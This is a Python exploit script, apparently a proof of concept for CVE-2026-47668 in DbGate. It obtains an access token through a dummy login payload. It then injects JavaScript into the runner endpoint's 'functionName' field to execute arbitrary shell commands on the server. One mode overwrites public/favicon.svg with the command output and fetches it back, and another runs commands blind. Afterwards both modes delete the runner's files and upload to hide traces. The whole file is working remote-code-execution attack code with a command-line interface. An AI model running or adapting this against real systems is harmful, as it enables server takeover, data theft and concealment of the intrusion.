#!/usr/bin/env -S uv run --script # /// script # requires-python = ">=3.12" # dependencies = [ # "requests", # "rjsmin" # ] # /// import argparse import requests from base64 import b64decode from uuid import uuid4 from rjsmin import jsmin from base64 import b64decode def cve_2026_47668_exec_to_public(base_url, command): """ If nodejs runs with elevated privs, we can write to public folder and get command output. File types: "*.txt,*.css,*.json,*.png,*.css,*.svg,*.ico,*.js,*.html" """ _js_exec_to_public = """ try { // Where is server root? const dbgateApiRoot = process.env.DBGATE_API.slice(0, process.env.DBGATE_API.lastIndexOf('/') + 1); process.env.DBGATE_API_ROOT = dbgateApiRoot; // Run const logFileFD = process.mainModule.require('fs').openSync(`${dbgateApiRoot}/public/favicon.svg`, 'w'); process.mainModule.require('child_process').execSync( """ _js_exec_to_public += f"""'{command}'""" _js_exec_to_public += """, { stdio: [0, logFileFD, logFileFD], // [stdin, stdout, stderr] timeout: 30000, encoding:'utf-8' }); } catch (e) { } finally { // cleanup // Where is runner executing? const envBuffer = process.mainModule.require('child_process').execSync('export'); const envString = envBuffer.toString('utf8'); const dbgateRunPwd = envString.match(/^export PWD='(.*)'$/m)?.[1]; process.env.DBGATE_RUN_PWD = dbgateRunPwd; const dbgateRunRoot = dbgateRunPwd ? process.mainModule.require('node:path').join(dbgateRunPwd, '../../') : null; process.env.DBGATE_RUN_ROOT = dbgateRunRoot; // What is runner id? const uuidRegex = /([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})/i; const dbgateRunId = envString.match(uuidRegex)?.[1] ?? null; process.env.DBGATE_RUN_ID = dbgateRunId; process.mainModule.require('child_process').execSync('find $DBGATE_RUN_PWD -type f -delete; rmdir $DBGATE_RUN_PWD; rm $DBGATE_RUN_ROOT/uploads/${DBGATE_RUN_ID}.js', {}); } """ _js_exec_to_public = jsmin(_js_exec_to_public) cve_2026_47668(base_url, _js_exec_to_public) # Wait for task execution from time import sleep sleep(5) # Retrieve command output sess = init_session(base_url) _results_url = f"{base_url}/favicon.svg" res = sess.get( _results_url, ) print(res.text) def cve_2026_47668_exec_blind(base_url, command): """ Executes shell commands only """ _js_exec_blind = """ try { // Run process.mainModule.require('child_process').execSync( """ _js_exec_blind += f"""'{command}'""" _js_exec_blind += """, { timeout: 0, encoding:'utf8' }); } catch (e) { } finally { // cleanup // Where is runner executing? const envBuffer = process.mainModule.require('child_process').execSync('export'); const envString = envBuffer.toString('utf8'); const dbgateRunPwd = envString.match(/^export PWD='(.*)'$/m)?.[1]; process.env.DBGATE_RUN_PWD = dbgateRunPwd; const dbgateRunRoot = dbgateRunPwd ? process.mainModule.require('node:path').join(dbgateRunPwd, '../../') : null; process.env.DBGATE_RUN_ROOT = dbgateRunRoot; // What is runner id? const uuidRegex = /([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})/i; const dbgateRunId = envString.match(uuidRegex)?.[1] ?? null; process.env.DBGATE_RUN_ID = dbgateRunId; process.mainModule.require('child_process').execSync('find $DBGATE_RUN_PWD -type f -delete; rmdir $DBGATE_RUN_PWD; rm $DBGATE_RUN_ROOT/uploads/${DBGATE_RUN_ID}.js', {}); } """ _js_exec_blind = jsmin(_js_exec_blind) cve_2026_47668(base_url, _js_exec_blind) def init_session(base_url): sess = requests.session() _auth_url = f"{base_url}/auth/login" _payload = {"amoid": "none"} res = sess.post( _auth_url, json=_payload ) access_token = res.json().get("accessToken") _headers = {"Authorization": f"Bearer {access_token}" } sess.headers.update(_headers) return sess def cve_2026_47668(base_url, js_code): # Exec primitive _run_url = f"{base_url}/runners/start" _payload = { "script": { "type": "json", "commands": [ { "type": "assign", "variableName": "x", "functionName": f"x; {js_code}", "props": {} } ], "packageNames": [] } } sess = init_session(base_url) res = sess.post( _run_url, json=_payload ) return res.json() if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-47668") parser.add_argument("-u", "--base-url", default="http://localhost:3000") parser.add_argument("-b", action="store_true", default=False, dest="BLIND") parser.add_argument('command', nargs=argparse.REMAINDER, help="Try sleep 3") args = parser.parse_args() args.command = " ".join(args.command) if args.BLIND: cve_2026_47668_exec_blind(args.base_url, args.command) else: cve_2026_47668_exec_to_public(args.base_url, args.command)